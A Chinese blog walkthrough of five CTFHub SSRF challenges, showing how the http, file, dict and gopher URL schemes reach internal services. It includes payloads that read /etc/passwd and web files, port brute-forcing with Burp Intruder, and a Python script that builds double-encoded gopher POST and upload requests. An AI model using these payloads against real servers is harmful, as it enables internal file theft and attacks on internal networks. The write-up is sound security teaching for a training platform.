本文将针对SSRF(服务端请求伪造)进行简要的讲解。通过CTFHub上的例题,让读者了解SSRF的基本原理、利用方式、绕过方式等。CTFHub的地址为:CTFHub
SSRF简介
很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。
服务端请求伪造( Server-Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。因此SSRF攻击通常针对外部网络无法直接访问的内部系统。
简单的讲,SSRF就是指某个内网中的服务器(存在SSRF漏洞)被攻击者利用,沦为一个跳板,用于对该服务器所在的内网进行攻击,如数据窃取、上传webshell等。SSRF的具体介绍会在后续的博客中为大家详解,此处主要对CTFHub上的题目进行讲解,通过这些例子,读者应该能很快的了解SSRF的利用场景和攻击绕过方式。
第一题 内网访问
这个题目就是让大家直观的感受一下SSRF,考察点是url伪协议中的http协议。
打开之后是一个空空如也的页面
我们看到url中用get提交了一个参数url=_ ,题目说了尝试访问127.0.0.1的flag,我们先试试http协议能不能用,后面加个http://www.baidu.com试试,发现可以访问百度,完整的网址是http://challenge-04bdf85cb29468bd.sandbox.ctfhub.com:10800/?url=http://www.baidu.com
然后我们根据题目提示,访问本地127.0.0.1/flag.php ,直接就出现了flag,为ctfhub{c43149a833198049203016f3}
第二题 伪协议读取文件
这个题目的考点在于使用url伪协议file读取文件,题目已经给出了提示,是在web目录下,一般linux服务器的web目录是/var/www/html,我们直接构造即可。打开题目,和第一题一样,也是个空空如也的界面。我们使用php伪协议试试能不能直接读取web目录下的flag,即url=file:///var/www/html/flag.php ,打开之后发现页面里是三个问号:
F12看看网页源代码吧,得到flag,是ctfhub{b4bc77708335be65d75bafe3}
顺道一提,你还可以用file协议探测内网服务器的任意文件,比如读取敏感信息/etc/passwd ,此处url=file:///etc/passwd ,看到了吧,SSRF多危险!
第三题 端口扫描
这个题的核心要进行端口扫描需要用到伪协议dict://:这个协议会泄露软件版本信息、端口、操作内网redis访问等等,当然,本题用伪协议http也行。
题干提示了端口范围是8000-9000,我们先拿8000试一试,url内要填入dict://127.0.0.1:8000(填写http://127.0.0.1:8000也行),如下图,不出所料,啥也看不到。
咱也不知道端口是8000-9000范围的哪个,用burp抓包爆破一下好了。打开burp之后抓包,右键发送到攻击器intruder,因为就只有端口需要爆破,就选sniper就行了
有效载荷类型选择数值number即可,From:8000 To:9000
点击开始攻击start attack,等待跑完1001个数据,然后将结果按照返回包长度length排序。
发现8729作为载荷时的包长度与其他不同,估计这个就是对应端口了。我们在url内填入 http://127.0.0.1:8729 ,成功拿到了flag,为ctfhub{6b774fbbbaee7e3122090439}
第四题 POST请求
这个题的难度相比于前三题,可谓是直线上升了。本题的考点是使用url伪协议gopher发送post请求。
打开看一下,还是空白页面,用http协议看看能不能访问flag.php ,url=http://127.0.0.1/flag.php
还真有!感觉就是要在这个框里面填入对应的内容就行了,f12查看源代码:
这key直接就告诉我们了(key=b73cfcee3cb5781edf09a058769527f5),试一试呗,把这个key填进去敲回车。果然没有这么简单,页面跳转了,还有个提示:仅支持本地访问,如下图:
行,那我抓包改包试试,把host改为本地127.0.0.1不久行了吗?
然后把上图中的Host改为127.0.0.1,放包,果然,也没这么简单,出现了下图的界面(触发302重定向,这个界面查看源代码还有个彩蛋,不过和本题也没啥关系)
继续放包,又回到了之前的页面
看来这种方法行不通,此时想到了gopher伪协议(curl支持gopher),发送GET或POST请求(需要配合http协议二次url编码上传);本题要用gopher发送POST请求,gopher的格式是gopher://<host>:<port>/<gopher-path>_后接tcp流,本题默认伪gopher://127.0.0.1:80/_后接post请求 ,完整的gopher请求如下:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key= b73cfcee3cb5781edf09a058769527f5
然后我们将它进行url编码(python代码见下一题 文件上传),进行编码时要注意:
- 问号(?)需要转码为URL编码,也就是%3f(本题不涉及这个问题)
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
要进行几次url编码呢?本题相当于有两次请求(post请求本身算一次,放进url=gopher...中算第二次),因此要进行两次url编码,编码结果是:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=b73cfcee3cb5781edf09a058769527f5%250d%250a
把编码后的结果放到url中,如下图,成功拿到了flag,完整的url是:
顺道一提,这个题目可以用file协议找到源代码flag.php和index.php(可以用dirserach、御剑啥的扫一下,也可以根据前面几个题猜到,位置是var/www/html/) ,如下图,index.php中果然用到了curl
下面这个图是flag.php的源码:
第五题 上传文件
这个题的思路和上个题一样,都是用gopher协议实现对应的POST请求,只不过这个题的POST改为上传文件了。我们先用flie协议查看flag.php,结果如下,路径是file:///var/www/html/flag.php
查看网页源代码,意思应该是还是从127.0.0.1访问,随便上传个文件,应该就能返回flag,flag.php的源代码如下图:
我们用url=127.0.0.1/flag.php看一下,如下图:
发现这个页面尽然没有“提交”按钮,不过无所谓,前端都是纸老虎,咱给他加上就行了,F12改源代码即可:
这不就有了吗 :
然后我们随便上传个文件,会提示我们只能从127.0.0.1访问。
抓个包看看
把host改为127.0.0.1,果然没用,还是和上一题一样
那估计就还是走gopher协议了,完整抓的包如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845
Content-Length: 354
Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="file"; filename="try.txt"
Content-Type: text/plain
I am BossFrank
-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="aaa"
æ交查询
-----------------------------316258355439872129751386223845—
我们要对这个包进行二次url编码,用python写一下好了:
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845
Content-Length: 354
Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="file"; filename="try.txt"
Content-Type: text/plain
I am BossFrank
-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="aaa"
æ交æ¥è¯¢
-----------------------------316258355439872129751386223845--
"""
#注意payload的最后一行是回车(空行),表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
new2 = urllib.parse.quote(new)
result = 'gopher://127.0.0.1:80/_'+new2
print(result) # 这里因为是GET请求所以要进行两次url编码
运行代码,生成的编码后结果如下:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------316258355439872129751386223845%250D%250AContent-Length%253A%2520354%250D%250AOrigin%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522try.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250AI%2520am%2520BossFrank%250D%250A-----------------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------316258355439872129751386223845--%250D%250A%250D%250A
最后把这个巨长的编码结果塞进url里面,成功拿到了flag :
结语
为了避免这篇博客过长,我决定将后面的题目放到下一篇博客。本文主要用五个题目简要地说明了SSRF的原理,并介绍了利用SSRF漏洞的四个url伪协议,即file、http、dict、gopher,其中gopher最为复杂,这几个协议简要介绍如下:
file:// 从文件系统中获取文件内容,读取本地文件
dict:// 字典服务器协议,访问字典资源,查看端口,操作内网redis访问等
http:// 探测内网主机存活、端口开放情况,可以通过访问其它网站确定存活
gopher:// 分布式文档传递服务,发送GET或POST请求(需要配合http协议二次url编码上传);可使用gopherus生成payload,对内网应用FastCGI、Redis等中间件进行攻击(下一篇重点介绍)
下一篇将对CTFHub中关于SSRF的题目进行详细解答,并在后续博客对SSRF进行一个总结。希望读者们多多支持。
版权归原作者 Bossfrank 所有, 如有侵权,请联系我们删除。